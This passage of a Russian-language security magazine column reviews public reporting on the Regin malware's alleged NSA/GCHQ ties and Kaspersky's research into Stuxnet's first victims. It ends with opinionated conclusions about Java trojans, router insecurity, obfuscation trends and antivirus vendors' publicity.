Между прочим, сразу после публикации Symantec американское онлайн‑СМИ The Intercept разместило статью с броским заголовком «Секретный вредонос, используемый в атаках против Евросоюза, связан с разведками США и Великобритании» (Secret Malware in European Union Attack Linked to U. S. and British Intelligence). В ней представлена уже известная ранее информация, полученная от Сноудена, о кибероперациях NSA/GCHQ по внедрению троянов лицам и организациям, представляющим интерес для разведки США. На примере атаки бельгийского сотового оператора Belgacom в слайдах GCHQ наглядно показано, как это было сделано. Сначала выявляется круг лиц, как правило через социальные сети. Потом для каждого такого человека делается своеобразный цифровой отпечаток (fingerprint) — куки, IP-адреса, учетные данные, email и прочее. Все это происходит на сетевом оборудовании, подконтрольном NSA/GCHQ. После этого жертве, идентифицированной с помощью fingerprint, по команде оператора внедряется троян. В качестве метода внедрения может использоваться либо эксплойт для браузера, либо подмена инсталлятора какой‑либо программы, либо еще что‑нибудь. Именно таким образом были заражены компьютеры отдельных сотрудников Belgacom. Кроме того, в ходе расследования было установлено, что одной из целей был профессор Жан‑Жак Кискатер (Jean-Jacques Quisquater), бельгийский специалист по криптографии. Вся суть статьи от The Intercept — что Regin и есть тот самый троян от NSA/GCHQ.
В общем, ситуация выглядит, как большой наброс и раскрутка темы. Ключевой месседж — «Смотрите все (особенно РФ), как у нас спецслужбы работают. Мы уже на вас столько компромата собрали, что ужас‑ужас».
А антивирусные компании не преминули воспользоваться моментом: «Смотрите, как мы умеем расследования проводить».
Особенно радует информация по датам. Например, Symantec на свой сайт добавила Regin 12 декабря 2013 года. Microsoft в свои базы добавила 9 марта 2011 года. Специалисты F-Secure «впервые» обнаружили Regin в 2009 году. А товарищи из ЛК вообще заявляют, что самая старая дата, ими найденная, — это 2003 год.
Интересное наблюдение можно сделать и в отношении «правительственной» заразы: обрати внимание, что Stuxnet, Duqu и вот теперь Regin используют нестандартные алгоритмы шифрования. Они все нестойкие, но зато легко программируемые и быстро работающие. Все это — для обфускации. Анализирует эвристик антивируса параметры таких данных и проверяет: «AES — нет, RC4 — нет, так что же это? Ну и ладно, не буду тревогу поднимать».
Кстати, о Stuxnet. Все в том же ноябре ЛК опубликовала исследование о так называемых zero victims (аналогия с медицинским термином patient zero, обозначающим инициатора эпидемии). Как известно, Stuxnet был разработан для внедрения на объекты, вообще не имеющие выхода в Сеть. Для этого в нем было реализовано заражение флешек. Вероятно, для анализа его операторами он сохранял на флешке лог своего распространения: время, домен и IP-адрес. Специалисты ЛК, проанализировав эти логи, выявили (по их мнению) пять zero victims. Все это иранские компании, занимающиеся разработкой систем для промышленных объектов:
- Domain A — Foolad Technic Engineering Co.;
- Domain B — Behpajooh Co. Elec & Comp. Engineering;
- Domain C — Neda Industrial Group;
- Domain D — Control-Gostar Jahed Company;
- Domain E — Kalaye Electric Co.
Первой подверглаcь атаке Foolad Technic Engineering Co.
Причем разница между временем компиляции кода дроппера Stuxnet и временем заражения составила около двенадцати часов. Сомнительно, что за это время Stuxnet успели бы внедрить через агента «в поле». Это значит, что, вопреки распространенной версии про инсайдеров, начальное распространение было несколько иным. Сначала вычислили всех возможных поставщиков, взломали их сети и распространили внутри них Stuxnet. После этого только оставалось ждать, пока червь через компьютер или флешку какого‑нибудь инженера попадет на защищенный объект и сделает там свое черное дело.
Но с Behpajooh Co. Elec & Comp. Engineering вышла промашка, именно из нее Stuxnet сбежал и пошел гулять за пределы Ирана, рассекретив всю операцию.
Волны распространения Stuxnet были взяты из отчета Symantec W32.Stuxnet Dossier ver. 1.4 от февраля 2011 года. Интересно, что такого случилось, что сотрудники ЛК «вдруг» через три года начали выяснять, что скрывается за кодовыми названиями Domain A, B, C, D, E? На этот вопрос нет ответа.
Заключение
Какие выводы можно сделать из всего перечисленного?
- На JAVA можно писать кросс‑платформенные трояны, которые к тому же плохо детектируются и легко обфусцируются. Поскольку в корпоративном секторе системы ERP обычно пишутся как веб‑приложения с использованием Java Runtime Environment (нередко старых версий), проблем с распространением таких троянов нет.
- Ситуация с домашними (и не очень) роутерами плачевная: куча уязвимостей, скрытых бэкдоров от производителей, небрежное отношение пользователей к парольной защите и обновлению прошивок, отсутствие антивирусной защиты — все это напоминает состояние компьютерной индустрии в 60-е годы. И киберпреступники этим активно пользуются.
- Пользователи *nix-систем тоже подвержены атакам вредоносного кода. Пока эксплуатация уязвимостей делается в ручном или полуавтоматическом режиме, а что будет дальше? Серверные системы очень перспективная цель, тут вам и DDoS-ботнеты невиданных мощностей, и массовая накрутка баннеров, и прогрузка всякой другой малвари конечным пользователям.
- Методы обфускации эволюционируют, крипторами уже никого не удивишь, использование Java и PowerShell — это всего лишь два примера из большого количества возможных вариаций. К сожалению, преступная мысль все время движется вперед.
- State sponsored malware, то есть та, в которую вбухали кучу бабла, не перестанет нас удивлять никогда. Равно как и пиар на этой теме со стороны отдельных антивирусных компаний. По результатам прочтения аверских отчетов складывается впечатление, что их основная цель — запугать юзеров и заставить их «покупать наших слонов». Ой, то есть оценить ущерб (сколько, где и чего слили) и устранить слабые места :). Кто конкретно заказчик и разработчик и как их привлечь к ответственности — никто не пишет. Как и про то, насколько «здорово» работают всякие проактивные защиты и прочие фичи. Вери гуд бизнес! Поэтому, как мы всегда говорим, на антивирус надейся, а сам не плошай.